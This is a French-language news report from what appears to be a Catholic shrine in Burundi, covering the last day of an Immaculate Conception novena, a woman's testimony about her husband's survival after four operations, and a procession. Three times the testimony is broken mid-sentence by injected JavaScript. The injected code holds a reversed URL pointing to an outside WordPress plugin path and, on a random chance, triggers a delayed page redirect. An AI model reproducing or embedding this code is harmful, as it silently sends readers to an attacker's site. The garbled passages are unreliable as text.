Vendredi le 7, 9è jour de la neuvaine de l’Immaculée Conception. A Mont Sion Gikungu, il est 18h. Des chansons magnifiant la Vierge Marie se laissent entendre dans la Chapelle eucharistique. Contrairement aux jours précédents, après l’animation a poursuivi le chapelet.

Témoignage

Madame Béatrice KAMOMOZI

Dans le Sanctuaire Marial de Schoenstatt Mont Sion Gikungu, la Vierge Marie est vraiment là. Elle ne cesse pas d’intercéder pour ses enfants. En témoigne Béatrice KAMOMOZI   « C’était en 2008, dans la commission compassion nous étions en train de clôturer une neuvaine. Nous disions le chapelet et un chapelet d’un des nous s’était coupé en deux. Nous étions tous étonnés mais je les encourageais  de continuer et d’en finir avec notre prière. Du coup de téléphone, ’avais  reçu la mauvaise nouvelle, me disant que mon mari est dans un état critique.  Il était au Tchad et j’étais obligée d’y aller tout de suite pour qu’on puisse l’opérer. J’avais perdu la tête, je ne connais pas quoi faire parce que je me disais que mon mari avait déjà rendu son âme qu’ils ont voulu seulement me calmer. Je n’avais même pas la force de prier. Je me préparais comme quoi je vais à l’enterrement et je prenais l’avion. Arrivée au Tchad, je remarquais qu’on l’avait déjà opéré, on me signalait que tout de suite on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit le transférer au Cameroun pour une autre opération. Nous partions ensemble on l’avait opéré et après on nous dit qu’on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit le transférer en Afrique du Sud pour encore une opération. Imaginez-vous quatre opérations en deux semaines ! On l’avait alors conduit  mais moi je suis restée au Cameroun. C’est le 14 Aout et je me souvenais que les autres sont dans la joie de l’Assomption à Mont Sion Gikungu. Les pleurs ont été ma prière de toute cette nuit. J’attendais  seulement le coup du téléphone qui  me dit que c’est fini. Le matin on l’avait fait retourner au Cameroun et je me précipitais pour voir. Sur son canapé-lit, j’étais étonnée d’entendre sa voix me disant : « Tu es là ? Il a retrouvé la vie et après quelques jours, nous rentrions. Dieu nous nous a retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné la joie en famille. »

La procession vers le Sanctuaire  

L’intérieur du Sanctuaire

                  

L’image de la Mère Trois fois Admirable en avant, de centaine de fidèles ont fait une procession à partir de la Chapelle eucharistique jusqu’au Sanctuaire. Des chants louant Dieu pour la Sainte Vierge ont retenti. Arrivés au Sanctuaire, chacun a eu l’occasion se consacrer silencieusement à la Mère de Dieu et de lui offrir quelque chose comme remerciements. Des bouquets de fleurs, des bougies et d’autres choses ont été offerts par les fidèles. Signalons que les cérémonies ont pris fin 20h20 avec une bénédiction finale.

Brigitte IRAKOZE

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